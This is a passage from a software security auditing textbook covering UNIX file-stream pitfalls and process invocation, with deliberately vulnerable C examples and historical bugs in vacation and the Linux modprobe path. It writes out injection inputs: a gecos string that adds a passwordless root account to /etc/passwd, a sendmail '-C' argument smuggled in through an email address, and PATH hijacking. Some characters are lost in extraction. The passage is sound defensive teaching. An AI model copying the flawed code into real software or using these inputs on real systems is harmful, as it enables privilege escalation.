prototype looks like this: 

char *fgets(char *buffer, size_t size, FILE *fp); 

 

This function returns a pointer to the input buffer when it's able to read a line from the 

file successfully. It returns NULL if an error has occurred (usually an EOF was 

encountered). The fgets() function could be used in a manner that exposes the 

application to problems when parsing files. First, ignoring the return value can lead to 

problems, as you've seen in previous examples. When fgets() returns NULL, the 

contents of the destination buffer are unspecified, so a program that fails to check the 

return value of fgets() probably ends up processing uninitialized data in the 

destination buffer. An example of this mistake would look this: 

int read_email(FILE *fp) 

{ 
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    char user[1024], domain[1024]; 

    char buf[1024]; 

    int length; 

 

    fgets(buf, sizeof(buf), fp); 

    ptr = strchr(buf, '@'); 

 

    if(!ptr) 

        return 1; 

 

    *ptr++ = '\0'; 

 

    strcpy(user, buf); 

    strcpy(domain, ptr); 

    ... 

} 

 

In the read_email() function, the fact that the return value of fgets() is ignored 

means the content of buf remains undefined if fgets() fails. The fgets() function 

guarantees NUL-termination only when it returns successfully, so the buf variable 

that's subsequently copied out of might contain a text string that's longer than 1024 

bytes (because it's uninitialized and fgets() hasn't done anything to it). Therefore, 

either of the calls to strcpy() can potentially overflow the user and domain stack 

buffers. 

Note 

Saying that the buffer contents aren't touched by fgets() when an error is 

encountered is an oversimplification, and isn't true for all fgets() implementations. If 

the file finishes with a partial line, BSD implementations copy the partial line into the 

buffer and then return NULL, indicating an EOF was encountered. The buffer is not 

NUL-terminated in this case. Using this behavioral quirk might allow easier 

exploitation of bugs resulting from unchecked fgets() return values because the 

stack buffer can have user-controllable data from the file in it. The Linux glibc 

implementation does not exhibit the same behavior; it copies a partial line into the 

buffer, NUL-terminates it, and returns successfully; then it signals an error the next 

time fgets() is called. 

 

Another potential misuse of fgets() happens when a privileged file containing some 

user-controlled data is incorrectly parsed. For example, say a file is being parsed to 

check user credentials. Each line contains a valid user in the system and has the 
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format user:password:real name (not unlike the UNIX /etc/passwd file format). The 

following code authenticates users: 

struct entry { 

    char user[256]; 

    char password[256]; 

    char name[1024]; 

}; 

 

int line_to_entry (char *line, struct entry *ent) 

{ 

    char *ptr, *nptr; 

 

    ptr = strchr(line, ':'); 

 

    if(ptr == NULL || (ptr  line) >= sizeof(ent->user))) 

        return 1; 

 

    *ptr++ = '\0'; 

 

    strcpy(ent->user, line); 

 

    nptr = strchr(ptr, ':'); 

 

    if(nptr == NULL || (nptr  ptr) >= sizeof(ent->password)) 

        return 1; 

 

    *nptr++ = '\0'; 

 

    strcpy(ent->password, ptr); 

 

    if(strlen(nptr) >= sizeof(ent->name)) 

        return 1; 

 

    strcpy(ent->name, nptr); 

 

    return 0; 

} 

int auth_user(char *user, char *password) 

{ 

    FILE *fp; 

    struct entry ent; 

 

    fp = fopen("/data/users.pwd", "r"); 
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    if(fp == NULL) 

        return 0; 

 

    while(fgets(filedata, sizeof(filedata), fp) != NULL){ 

        if(line_to_entry(filedata, &ent) < 0) 

            return 0; 

        if(strcmp(user, ent.user) != 0) 

            continue; 

        if(strcmp(password, ent.password) != 0) 

            break;        /* correct user, 

                            incorrect password */ 

 

        fclose(fp); 

        return 1;            /* success! */ 

    } 

 

    fclose(fp); 

 

    return 0; 

} 

 

This example runs through each username and password in the file attempting to 

authenticate a user. The problem is that the bolded call to fgets() is potentially 

flawed. The fgets() function reads only up to the specified size (in this case, 1024 

bytes), so if the line is longer, only the first 1023 bytes are returned in the first call to 

fgets(), and the rest of the line is returned in the next call. If attackers could specify 

a real name written to this file of 1024 bytes (or thereabouts), their username entry 

would be incorrectly parsed as two entriesthe first 1023 bytes being one entry, and 

the remaining data in the line being a new entry. They could use this result to 

effectively authenticate themselves as any user they wanted (including adding new 

usernames to the database). 

Finally, the fscanf() function is used to read data of a specified format directly into 

variables, eliminating the need for application developers to interpret text data as 

integer values, strings, and so forth. As discussed in Chapter 8(? [????.]), "Strings 

and Metacharacters," it's easy for buffer overflows to occur when using this function 

to read in string values. To recap, here's a quick example: 

struct entry { 

    char user[256]; 

    char password[256]; 

    char name[1024]; 

}; 
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int line_to_entry (FILE *fp, struct entry *ent) 

{ 

    int rc; 

 

    rc = fscanf(fp, "%s:%s:%s", ent->user, 

        ent->password, ent->name); 

 

    return (rc == 3) ? 0 : -1; 

} 

 

This code is a slightly modified example of the fgets() vulnerability you saw 

previously. Notice how much work using fscanf() cut out. The function in the 

example is vulnerable to simple buffer overflows, however, because there are no 

limits on how large the username, password, and real name entries can be. Using 

qualifiers can help limit the length of strings being read in so that overflows don't 

occur. 

Another important thing about fscanf() is checking that the return value is equal to 

the number of elements it successfully parsed according to the input string format. 

Like fgets(), a failure to check the return value means the program might deal with 

potentially uninitialized variables. It's a little more common that the return value from 

fscanf() isn't checked (or not adequately checked) than fgets(). Consider the 

following example: 

struct entry { 

    char user[256]; 

    char password[256]; 

    char name[1024]; 

}; 

int line_to_entry (FILE *fp, struct entry *ent) 

{ 

 

    if(fscanf(fp, "%s:%s:%s", ent->user, 

        ent->password, ent->name) < 0) 

        return -1; 

    return 0; 

} 

 

This code checks that fscanf() returns a value greater than 0, but this check is 

insufficient; if the code encounters a line from the file it's parsing that doesn't contain 

any separators (:), ent->password and ent->name are never populated, so referencing 

them would result in the program processing uninitialized data. 
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Note 

You might wonder why the discussion on format string vulnerabilities in Chapter 8(? 

[????.]) mentioned the printf() family of functions but not scanf(). The reason is 

that the authors have never encountered code in which a user can control part of the 

format string to a scanf() function, and it seems unlikely that would happen. However, 

if a user could partially control a format string passed to scanf(), it would likely be 

exploitable (depending on certain conditions, such as what data is on the stack). 

Malicious users who supplied extraneous format specifiers could corrupt memory and 

probably gain complete control over the application. 

 

 

Writing to a File 

Each function described in the previous section has a counterpart that writes data into 

a file. There are more limitations on users' ability to adversely affect an application 

that's writing to a file because the data being manipulated is already in memory; the 

process of writing it into a file doesn't often have as many security implications as 

reading and operating on data (except, of course, if you have already caused the 

application to open a sensitive file). Having said that, there are definitely things that 

can go wrong. 

The first problem associated with writing to files is using the printf() functions. 

Chapter 8(? [????.]) discussed format string vulnerabilities that could occur when 

users can partially control the format string argument. This class of vulnerabilities 

allows users to corrupt arbitrary locations in memory by specifying extraneous format 

specifiers and usually result in a complete compromise of the vulnerable program. 

Another problem with file output is inconsistencies in how the file should be formatted. 

If users can insert delimiters the application didn't adequately check for, that might 

allow malformed or additional entries to be inserted in the file. For example, the 

following code shows a privileged process charged with updating real name 

information in the system password file (/etc/passwd): 

int update_info(FILE *fp, struct passwd *pw) 

{ 

    if(fprintf(fp, "%s:%s:%lu:%lu:%s:%s%s\n", 

        pw->pw_name, pw->pw_passwd, pw->pw_uid, pw->pw_gid, 

        pw->pw_gecos, pw->pw_dir, pw->pw_shell) < 0) 

        return -1; 

 

    return 0; 

} 
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This example is almost identical to the putpwent() implementation in glibc. Obviously, 

any program using this function would need to be careful; if the pw_gecos field, for 

example, is being updated and contains extra delimiters (in this case, : or \n), it could 

be used to insert arbitrary password entries in the passwd file. Specifically, if a 

pw_gecos field contains the string hi:/:/bin/sh\nnew::0:0:, this function would 

inadvertently create a username called new that has no password and root privileges! 

You learn about more types of writing-related problems when rlimits are discussed in 

Chapter 10(? [????.]), "UNIX II: Processes." 

Closing a File 

Finally, when a program is done with a file stream, it can close it in much the same 

way close() is used on a file descriptor. Here's the prototype: 

int fclose(FILE *stream); 

 

Because the file API uses descriptors internally, failure to close a file that has been 

opened results in file descriptor leaks (covered in the "File Descriptors(? [????.])" 

section earlier in this chapter). 

Additionally, most fclose() implementations free memory that's being used to buffer 

file data and might also free the FILE structure. For example, look at the glibc fclose() 

implementation: 

int 

_IO_new_fclose (fp) 

   _IO_FILE *fp; 

{ 

 int status; 

 

 CHECK_FILE(fp, EOF); 

 

   ... 

 

 if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr) 

   { 

     fp->_IO_file_flags = 0; 

     free(fp); 

   } 

 

 return status; 

} 
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Notice the call to free() that passes fp as a parameter. If a program calls fclose() 

twice on a FILE structure using this implementation, a double free() would occur, and 

the heap could potentially be corrupted. Other implementations (such as OpenBSD's) 

are a little more resistant to these problems; however, closing a file twice might still 

result in vulnerable situations related to a different file being closed unexpectedly. 

Note 

In the OpenBSD 3.6 fclose(), it might also be possible to trigger a double free() by 

closing a file twice, if the double fclose() was caused by a well-timed signal handler 

or competing thread. 

 
 

7.5.11 Summary 

UNIX systems present an ostensibly clean and simple interface for privilege 

management and file manipulation. Closer inspection, however, reveals many subtle 

nuances that can conspire to make things difficult for security-conscious developers. 

At the end of the day, it's not easy to create totally bug-free secure code, especially 

when you're trying to make applications portable across a number of different UNIX 

systems. You have explored myriad problems that can occur in file and privilege code 

and auditing techniques that should equip you to audit security-sensitive UNIX 

applications. 

7.6 Chapter 10.  UNIX II: Processes 

"I can't believe how UNIX you look now." 

M. Dowd, commenting on J. McDonald's appearance after not shaving for eight 

months 

7.6.1 Introduction 

Chapter 9(? [????.]), "UNIX I: Privileges and Files," introduced the essential concepts 

of how UNIX OSs provide security. This chapter extends the discussion of UNIX by 

focusing on the security of UNIX processes and the environment in which they run. 

You will learn how to evaluate the security implications of how a process is invoked, 

as well as the security-relevant considerations of the process environment. You will 

also see how small changes in process behavior can have a major impact that 

manifests as exploitable privilege-escalation vulnerabilities. This coverage will 

provide you with the understanding necessary to audit a UNIX application for 

vulnerabilities that exist when the process environment is not adequately protected. 

31051536.html


The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 577 

7.6.2 Processes 

Before jumping into vulnerabilities that can occur based on a process's context and 

environment, you need to understand how processes operate in a typical UNIX 

system. A process is a data structure that an OS maintains to represent one instance 

of a program running in memory. A UNIX process has a considerable amount of state 

associated with it, including its own virtual memory layout and all the 

machine-specific information necessary to stop and start the flow of execution. 

As noted in the previous chapter, each process has an associated process ID (PID), 

which is typically a small positive integer that uniquely identifies that process on the 

system. Most operating systems assign process IDs to new processes based on a 

systemwide counter that's incremented with each process that is created. 

Note 

Although this setup is typical, it's not universally true for all UNIX systems. One 

system that differs is OpenBSD, which selects a random PID for each new process. 

Generating random PIDs is intended to augment the security of an application that 

might use its PID in a security-sensitive context (such as using a PID as part of a 

filename). Using random PIDs can also make it more difficult for malicious parties to 

probe for the existence of running processes or infer other information about the 

system such as its current workload. 

 

 

Process Creation 

New processes are created in the UNIX environment with the fork() system call. 

When a process calls fork(), the kernel makes a nearly identical clone of that process. 

The new process will initially share the same memory, attributes, and resources as 

the old process. However, the new process will be given a different process ID, as well 

as some other minor differences; but in general, it's a replica of the original process. 

When a new process is created with the fork() system call, the new process is 

referred to as a child of the original process. In UNIX, each process has a single 

parent process, which is usually the process that created it, and zero or more child 

processes. Processes can have multiple children, as they can make multiple copies of 

themselves with fork(). These parent and child relationships are tracked in the kernel 

structures that represent processes. A process can obtain the process ID of its parent 

process with the system call getppid(). If a process terminates while its children are 

still running, those child processes are assigned a "foster" parent: the special process 

init, which has a static PID (1) across all systems. 
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Consider what happens when a process calls fork(). The fork() system call creates 

another process that's a copy of the first one, and then the old and new processes are 

handed back over to the system to be scheduled at the next appropriate time. Both 

processes are running the same program, and both start processing at the instruction 

immediately after the system call to fork(). However, the return value of fork() 

differs based on whether the process is the parent or the child. The parent process 

receives the PID of the newly created child process, and the child process receives a 

return value of 0. A return value of -1 indicates that the fork() operation failed, and 

no child was spawned. Here's an example of creating a process with fork(): 

pid_t pid; 

 

switch (pid=fork()) 

{ 

  case -1: 

    perror("fork"); 

    exit(1); 

 

  case 0: 

    printf("I'm the child!\n"); 

    do_child_stuff(); 

    exit(1); 

 

  default: 

    printf("I'm the parent!\n"); 

    printf("My kid is process number %d\n", pid); 

    break; 

}; 

 

/* parent code here */ 

 

If new processes are created only by the kernel duplicating an existing process, 

there's an obvious chicken-and-egg problem; how did the first process come about if 

no process existed beforehand to spawn it? However, there is a simple explanation. 

When a UNIX kernel first starts, it creates one or more special processes manually 

that help keep the system running smoothly. The first process is called init, and, as 

mentioned previously, it takes the special process ID of 1. init is synthesized from 

scratch when the kernel startsit is an Adam in the Garden of Eden, if you will. After 

that, userland processes are created with fork(). Therefore, almost every process 

can trace its origins back to a common ancestor, init, with the exception of a few 

special kernel processes. 

fork() Variants 
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fork() is the primary way processes are created in a UNIX system. There are a few 

other similar system calls, but their use is generally deprecated or specific to a 

particular system. In older systems, vfork() was useful for creating a new process 

without having to suffer the performance hit of replicating its memory. It was 

typically used for the purpose of spawning a child process to immediately run a new 

program. As copy-on-write implementations of fork() became pervasive throughout 

UNIX, vfork() lost its usefulness and is now considered deprecated and bug prone. In 

some systems, a process created with vfork() has access to the virtual memory of its 

parent process, and the parent process is suspended from execution until the vfork() 

child runs a new program or terminates. On other systems, however, vfork() is just 

a wrapper for fork(), and address spaces aren't shared. 

rfork() is another variation of fork() from the plan9 OS, although it isn't widely 

supported on other UNIX variants. It lets users specify the behavior of the forking 

operation at a more granular level. Using rfork(), a caller can toggle sharing process 

file descriptor tables, address spaces, and signal actions. clone() is a Linux variant of 

fork() that also allows callers to specify several parameters of the forking operation. 

Usually, these more granular process creation system calls are used to create threads, 

sometimes referred to as "lightweight processes." They enable you to create two or 

more processes that share a single virtual memory space, equivalent to multiple 

threads running in a single process. 

Process Termination 

Processes can terminate for a number of reasons. They can intentionally end their 

existence in several ways, including calling the library function exit() or returning out 

of their main function. These terminations result in the process calling an underlying 

exit() system call, which causes the kernel to terminate the process and release data 

structures and memory associated with it. 

Certain signals can cause processes to terminate as well. The default handling 

behaviors for many signals is for the recipient process to be terminated. There's also 

a hard kill signal that can't be ignored or handled by a process. These kill signals can 

come from other processes or the kernel; a process can even send the signal to itself. 

Any signal other than the kill and stop signals can be handled by your process, if you 

want. For example, if your program has a software bug that causes it to dereference 

a pointer to an unmapped address in memory, a hardware trap is generated that the 

kernel receives. The kernel then sends your process a signal indicating that a memory 

access violation has occurredUNIX calls this signal a "segmentation fault." Your 

process could handle this signal and keep on processing in light of this fault, but the 

default reaction is for the process to be terminated. There is also a library function 

abort(), which causes a process to send itself an abort signal, thus terminating the 

process. Signals are a complex topic area that is covered in depth in Chapter 13(? 

[????.]), "Synchronization and State." 
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fork() and Open Files 

A child process is a nearly identical copy of its parent process, with only a few small 

differences. If everything is more or less identical, what happens to the files and 

resources the parent process already has open when it calls fork()? Intuition tells you 

that these open files must be available to both processes, which means the kernel 

must be handling sharing resources between the two processes. To understand this 

implicit file sharing relationship between a parent and a child, you need to be 

somewhat familiar with how resources are managed by the kernel on behalf of a 

process. 

If you recall, you learned in Chapter 9(? [????.]) that when a process tells the kernel 

to open a file with the open() system call, the kernel first resolves the provided 

pathname to an inode by walking through all relevant directory entries. The kernel 

creates an inode data structure to track this file and asks the underlying file system to 

fill out that structure. The kernel then places an indirect reference to the inode 

structure in the process's file descriptor table, and the open() system call returns a file 

descriptor to the userland process that can be used to reference the file in future 

system calls. 

System File Table 

How the kernel places this "indirect" reference from the process file descriptor table to 

the inode structure hasn't been explained in much detail yet, but you explore this 

topic in depth in this section. Keep in mind that this chapter generalizes kernel 

internals across all UNIX implementations, so explanations capture the general 

behavior of the common UNIX process maintenance subsystem but it might not 

match a specific implementation exactly. 

An open file is tracked by at least two different data structures, and each structure 

contains a different complementary set of data. The first of these structures is an 

inode structure, and it contains information about the file as it exists on the disk, 

including its owner and group, permission bits, and timestamps. The second structure, 

the open file structure, contains information about how the system is currently using 

that file, such as the current offset in the file for reading and writing, flags describing 

how the file is used (append mode, blocking mode, and synchronization), and the 

access mode specified when the file is first opened (read, write, or read/write). These 

open file structures (sometimes just called file structures) are maintained in a global 

table called the system file table, or the open system file table. This table is 

maintained by the kernel for the purposes of tracking all of the currently open files on 

the system. 

Sharing Files 
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So what do these data structures have to do with fork()? Take a look at Figure 10-1, 

which shows the internal file data structures in a UNIX kernel after a fork(). Process 

1000 has just forked a child process, process 1010. You can surmise that before the 

fork(), process 1000 had file descriptor 3 open to one of its configuration files. After 

the fork, you can see that the child process also has a file descriptor 3, which 

references the config file. 

Figure 10-1. File data structures after fork 

 

 

Both file descriptors point to the same open file structure, which tells you that the 

configuration file was opened with read/write access, and the current offset in the file 

is the location 0x1020. This open file structure points to the inode structure for the file, 

where you see that the file has an inode number of 0x456, has permission bits of octal 

0644, and is owned by the bin user and bin group. 

What does that tell you about how the kernel handles open files across a fork()? You 

can see that child processes automatically get a copy of the parent process's file 

descriptors, and one non-obvious result of this copying process is that both processes 

share the same open file structure in the kernel. So if you have a file descriptor open 

to a particular file, and you create a child process with fork(), your parent process 

can end up fighting with the child process if both processes try to work with that file. 

For example, if you're writing several pieces of data to the file in a loop, each time you 

write a piece, the file offset in the open file structure is increased past the piece you 

just wrote. If the child process attempts to read in this file from the beginning, it 

might do an lseek() on the file descriptor to set the file offset to the beginning of the 
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file. If the child does this while you're in the middle of writing pieces of data, you start 

inadvertently writing data to the beginning of the file! Along those same lines, if the 

child changes the file to use a nonblocking interface, suddenly your system calls 

return with errors such as EAGAIN instead of blocking, as the parent process might 

expect. 

As a code auditor, you need to be aware of resources that might be inadvertently 

available when a fork happens. Bugs involving leaked resources are often difficult to 

spot because descriptor sharing is an implicit operation the OS performs. Some basic 

techniques for recognizing vulnerabilities of this nature are described in the "File 

Descriptors(? [????.])" section later in this chapter. 

7.6.3 Program Invocation 

Program invocation is provided by a flexible programmatic API that's buttressed by 

even more accommodating programs, such as command shells. History has shown 

that it's quite easy to shoot yourself in the foot when attempting to run external 

programs. The following sections explain calling programs directly through the 

system call interface and calling programs indirectly through an intermediary, such as 

a command shell or library code. 

Direct Invocation 

Processes are a generic data structure that OSs use to represent the single execution 

of a program. So far, you've seen that new processes are created by copying an 

existing process with fork(). Now you see how a process can load and run a program. 

A process typically runs a new program by calling one of the exec family of functions. 

On most UNIX systems, several variations of these functions are provided by the 

standard libraries, which all end up using one powerful system call, execve(), which 

has the following prototype: 

int execve(const char *path, char *const argv[], 

           char *const envp[]); 

 

The first parameter, path, is a pathname that specifies the program to run. The 

second parameter, argv, is a pointer to command-line arguments for the program. 

The third argument, envp, is a pointer to environment variables for the program. 

Note 

The standard C libraries (libc) supplied with contemporary UNIX-based OSs provide a 

number of different functions to call a new program directly: execl(), execlp(), 

execle(), execv(), and execvp(). These functions provide slightly differing interfaces 
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to the execve() system call, so when execve() is mentioned in this section, any of 

these functions should be considered to behave in the same manner. 

 

The command-line arguments pointed to by argv are an array of pointers to character 

strings with a NULL pointer marking the end of the array. Each pointer in the array 

points to a different command-line argument for the program. By convention, the first 

argument, known as argument zero, or argv[0], contains the name of the program. 

This argument is controlled by the person who calls exec, so programs can't place any 

trust in it. The rest of the arguments are also C strings, and they can contain almost 

anything without a NUL byte. The environment argument, envp, points to a similarly 

constructed array of pointers to strings. Environment variables are explained in detail 

in "Environment Arrays(? [????.])" later in this chapter. 

Dangerous execve() Variants 

All exec functions are just variants of the execve() system call, so they should be 

regarded similarly in terms of process execution issues. Two variants of 

execve()execvp() and execlp()have an additional security concern. If either function 

is used with a filename that's missing slashes, it uses the PATH environment variable 

to resolve the location of the executable. (The PATH variable is discussed in "Common 

Environment Variables(? [????.])" later in this chapter.) So if either function is 

invoked without a pathname, users can set PATH to point to an arbitrary location on 

the file system where they can create a program to run code of their choosing. The 

following code shows a vulnerable invocation: 

int print_directory_listing(char *path) 

{ 

 

    char *av[] = { "ls", "-l", path, NULL }; 

    int rc; 

 

    rc = fork(); 

 

    if(rc < 0) 

        return -1; 

 

    if(rc == 0) 

        execvp("ls", av); 

 

    return 0; 

} 
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If this process is running with special privileges or if environment variables can be set 

remotely to a program containing this code, setting the PATH variable to something 

like PATH= runs the /tmp/ls file if it exists. 

Both execvp() and execlp() have another behavioral quirk that might be exploitable 

in certain situations. Regardless of whether a full path is supplied in the filename 

argument, if the call to execve() fails with the return code ENOEXEC (indicating an error 

loading the binary), the shell is opened to try to run the file. This means all shell 

metacharacters and environment variables (discussed in more detail in "Indirect 

Invocation") come into play. 

Auditing Tip 

When auditing code that's running with special privileges or running remotely in a 

way that allows users to affect the environment, verify that any call to execvp() or 

execlp() is secure. Any situation in which full pathnames aren't specified, or the path 

for the program being run is in any way controlled by users, is potentially dangerous. 

 

 

The Argument Array 

When a program is called directly, you need to know how the argument list is built. 

Most programs process argument flags by using the - switch. Programs that fail to 

adequately sanitize user input supplied as arguments might be susceptible to 

argument switches being supplied that weren't intended. 

David Sacerdote of Secure Networks Inc. (SNI) discovered a way to abuse additional 

command-line arguments in the vacation program (archived at 

http://insecure.org/sploits/vacation_program_hole.html), which can be used to 

automatically respond to incoming e-mails with a form letter saying the person is on 

vacation. The following code is responsible for sending the response message: 

/* 

 * sendmessage -- 

 *      exec sendmail to send the vacation file to sender 

 */ 

void 

sendmessage(myname) 

        char *myname; 

{ 

        FILE *mfp, *sfp; 

        int i; 

        int pvect[2]; 

        char buf[MAXLINE]; 

http://insecure.org/sploits/vacation_program_hole.html
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        mfp = fopen(VMSG, "r"); 

        if (mfp == NULL) { 

                syslog(LOG_NOTICE, "vacation: no ~%s/%s " 

                       "file.\n", myname, VMSG); 

                exit(1); 

       } 

       if (pipe(pvect) < 0) { 

               syslog(LOG_ERR, "vacation: pipe: %s", 

                   strerror(errno)); 

               exit(1); 

       } 

       i = vfork(); 

       if (i < 0) { 

               syslog(LOG_ERR, "vacation: fork: %s", 

                   strerror(errno)); 

               exit(1); 

       } 

       if (i == 0) { 

               dup2(pvect[0], 0); 

               close(pvect[0]); 

               close(pvect[1]); 

               fclose(mfp); 

               execl(_PATH_SENDMAIL, "sendmail", "-f", 

                   myname, from, NULL); 

               syslog(LOG_ERR, "vacation: can't exec %s: %s", 

                       _PATH_SENDMAIL, strerror(errno)); 

               _exit(1); 

       } 

       close(pvect[0]); 

       sfp = fdopen(pvect[1], "w"); 

       fprintf(sfp, "To: %s\n", from); 

       while (fgets(buf, sizeof buf, mfp)) 

               fputs(buf, sfp); 

       fclose(mfp); 

       fclose(sfp); 

} 

 

The vulnerability is that myname is taken verbatim from the originating e-mail address 

of the incoming message and used as a command-line argument when sendmail is 

run with the execl() function. If someone sends an e-mail to a person on vacation 

from the address -C/some/file/here, sendmail sees a command-line argument 

starting with -C. This argument typically specifies an alternative configuration file, 
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and Sacerdote was able to leverage this to get sendmail to run arbitrary commands 

on behalf of the vacationing user. 

Typically, when looking for vulnerabilities of this nature, you must examine what 

invoked applications do with command-line arguments. Most of the time, they parse 

option arguments by using the getopt() function. In this case, you need to be aware 

of these points: 

 If an option takes an argument, it can be specified in the same string or in 

separate strings. For example, if the argument -C takes a file parameter, the 

argv array can contain one entry with just the string -C followed by another 

entry containing the filename, or it can contain just one entry in the form 

-C/filename. 

 If an argument with just two dashes is specified (--), any switches provided 

after that argument are ignored and treated as regular command-line 

arguments. For example, the command line ./program f file -- -C file results 

in the -f switch being processed normally and the -C switch being ignored by 

getopt(). 

The first point gives attackers more of a chance to exploit a potential vulnerability. It 

might be useful when user input hasn't been filtered adequately, but users can specify 

only a single argument. A bug of this nature existed in old versions of the Linux kernel 

when it invoked the modprobe application to automatically load kernel modules on a 

user's behalf. The vulnerable code is shown in Listing 10-1. 

Listing 10-1. Kernel Probe Vulnerability in Linux 2.2 

static int exec_modprobe(void * module_name) 

{ 

    static char * envp[] = { "HOME=/", "TERM=linux", 

        "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL }; 

    char *argv[] = { modprobe_path, "-s", "-k", 

        (char*)module_name, NULL }; 

    int i; 

 

    use_init_file_context(); 

 

    ... 

 

    /* Allow execve args to be in kernel space. */ 

    set_fs(KERNEL_DS); 

    /* Go, go, go... */ 

    if (execve(modprobe_path, argv, envp) < 0) { 

        printk(KERN_ERR 

              "kmod: failed to exec %s -s -k %s, errno =" 
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              " %d\n", 

              modprobe_path, (char*) module_name, errno); 

        return -errno; 

    } 

    return 0; 

} 

 

The Linux kernel would run modprobe in certain circumstances to locate a module for 

handling a user-specified device. Using the ping utility (a setuid program was 

required to trigger the vulnerable code path), users could specify a utility with a 

leading dash, which resulted in modprobe interpreting the value as an argument 

switch rather than a normal argument. Using the -C switch, local users could exploit 

this vulnerability to gain root privileges. 

The second point listed previously gives developers an easy-to-use mechanism for 

avoiding security problems when building argument lists. The Linux kernel example in 

Listing 10-1 was fixed by inserting a -- argument (among other things) to prevent 

future attacks of this nature. When auditing code where a program builds an 

argument list and calls another program, keep in mind that getopt() interprets only 

the arguments preceding --. 

Indirect Invocation 

Many libraries and language features allow developers to run a program or command 

by using a command subshell. Generally, these approaches aren't as safe as a 

straightforward execve(), because command shells are general-purpose applications 

that offer a lot of flexibility and potentially dangerous extraneous functionality. The 

issues outlined in this section apply to programs that use a command shell for various 

purposes and they also apply to shell scripts. 

The library functions popen() and system() are the most popular C mechanisms for 

making use of a command subshell. Perl provides similar functionality through its 

flexible open() function as well as the system() function and backtick operators. Other 

languages also provide similar functionality; Python has a myriad of os modules, and 

even Java has the Runtime.getRuntime().exec() method. 

Metacharacters 

A shell command line can have a formidable amount of metacharacters. Stripping 

them all out is difficult unless you use a white-list approach. Metacharacters can be 

useful to attackers in a number of ways, listed in Table 10-1. 

Table 10-1. Metacharacter Uses 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 588 

Metacharacter 

Type 

Explanation 

Command 

separators 

Command separators might be used to specify more commands in 

a shell invocation than the developer intended. 

File redirection Redirection operators might be used to trick a program into 

reading or writing files (or sockets, pipes, and so on) from the 

system. This might allow users to see contents of files that they 

shouldn't be able to or even create new files. 

Evaluation 

operators 

Most shells provide evaluation operators that perform some 

statement or expression and return a result. If users can specify 

them, they might be able to run arbitrary commands on the 

system. 

Variable 

definitions 

By specifying new environment variables or being able to include 

previously defined ones, users might be able to adversely affect 

the way the shell performs certain function. A good example is 

redefining the IFS environment variable (discussed later in 

"Common Environment Variables(? [????.])"). 

 

The subject of dealing with shell metacharacters (and associated data filters) was 

covered in depth in Chapter 8(? [????.]), "Strings and Metacharacters." 

Globbing 

In addition to the standard metacharacters a typical shell processes, it also supports 

the use of special characters for file system access. These characters, called 

globbing characters, are wildcards that can be used to create a pattern template 

for locating files based on the specified criteria. Most people use simple globbing 

patterns on a daily basis, when performing commands such as this one: 

ls *.c 

 

The characters that glob() interprets are ., ?, *, [, ], {, and }. Globbing functionality 

is inherent in shell interpreters as well as a number of other places, such as FTP 

daemons. If programs aren't careful to filter out these characters, they might render 

themselves susceptible to files being accessed that weren't intended. 

Globbing Security Problems 

In many circumstances, users can take advantage of globbing, and it doesn't 
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represent a security threat, as in FTP. However, because of implementation 

problems within the glob() function in a number of libc implementations, 

users have been able to supply malformed pathnames that result in memory 

corruption vulnerabilitiesboth buffer overflows and double-frees. Anthony 

Osborne and John McDonald (one of this book's authors) published an 

advisory for Network Associates (NAI)'s Covert Labs that outlined multiple 

buffer overflows in several glob() implementations used in FTP daemons. 

The advisory is archived at www.securityfocus.com/advisories/3202. 

 

 

Environment Issues 

In addition to the problems with metacharacter and globbing character filters, an 

application is also at risk because of the shell's inherent interaction with its 

environment. Environment trust issues are covered in "Environment Arrays(? 

[????.])" later in this chapter, but they are mentioned here because shells tend to 

alter their behavior significantly based on certain environment variable settings. 

Depending on the shell, certain environmental variables can be supplied that cause 

the shell to read arbitrary files on the file system and, in some cases, execute them. 

Most modern libc's filter out potentially dangerous environment variables when a 

setuid root process invokes a shell (such as PATH, all the LD_* variables, and so on). 

However, this filtering is very basic and might not be sufficient in some cases. In fact, 

shell behavior can change dramatically in response to a wide variety of environment 

variables. For example, the sudo application was vulnerable to attack when running 

shell scripts at one point because of a feature in bash; certain versions of bash search 

for environment variables beginning with () and then create a function inside the 

running shell script with the contents of any matching environment variable. (The 

vulnerability is documented at 

www.courtesan.com/sudo/alerts/bash_functions.html.) Although this behavior 

might seem quirky, the point remains that shells frequently expand their functionality 

in response to certain environment variables. This rapid expansion combined with 

each shell using slightly different environment variables to achieve similar goals can 

make it hard for applications to protect themselves adequately. Most applications that 

deal with environment variable filtering perform a black-list approach rather than a 

white-list approach to known problem-prone environment variables, so you often find 

that unanticipated feature enhancements in shell implementations introduce the 

capability to exploit a script running with elevated privileges. 

Setuid Shell Scripts 

Running shell scripts with elevated privileges is always a bad idea. What makes it so 

dangerous is that the shell's flexibility can sometimes be used to trick the script into 

doing something it shouldn't. Using metacharacters and globbing, it might be possible 

http://www.securityfocus.com/advisories/3202
http://www.courtesan.com/sudo/alerts/bash_functions.html
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to cause the script to run arbitrary commands with whatever privileges the shell script 

is running with. 

An additional problem with running shell scripts is that they aren't directly invoked. 

The shell program is invoked with the shell script as an argument, in much the same 

way execvp() and execlp() work when ENOEXEC is returned. Because of this indirection, 

symlink attacks might also be possible. 

 

7.6.4 Process Attributes 

Numerous data structures associated with each process are typically maintained in 

the system kernel and exposed to end users with varying degrees of transparency. 

This section isolates the process attributes and behaviors that are most important 

when evaluating an application's security. 

The attack surface available to malicious local users invoking a privileged application 

is largely defined by those process attributes that they are able to directly control. In 

particular, attributes that are inherited from the invoking application must be handled 

with exceptional care by the privileged application, as they are essentially in an 

undefined state. As such, process attribute retention is the initial focus of this section. 

You will see what kind of attributes a process inherits from its invoker and what kind 

of a risk that each attribute class represents. 

The next step is to consider the security impact of process resource limits. This 

section will show you how resource limits affect the running of a process, and how 

careful manipulation of these limits can have interesting security consequences. The 

semantics of file sharing across multiple processes and program executions is also 

considered, to give you an idea of how implicit file descriptor passing can result in 

dangerous exposures of sensitive data. 

You finish up with a study of the process environment array, which contains a series 

of key/value pairs that are intended to express user and system preferences for the 

application to utilize at its discretion. Finally, you examine groups of processes used 

by UNIX systems to implement job control and an interactive terminal user interface. 

Process Attribute Retention 

The execve() system call is responsible for loading a new program into process 

memory and running it. Typically, it involves getting rid of memory mappings and 

other resources associated with the current program, and then creating a fresh 

environment in which to run the new program file. From a security standpoint, you 

need to be aware that the new process inherits certain attributes of the old one, which 

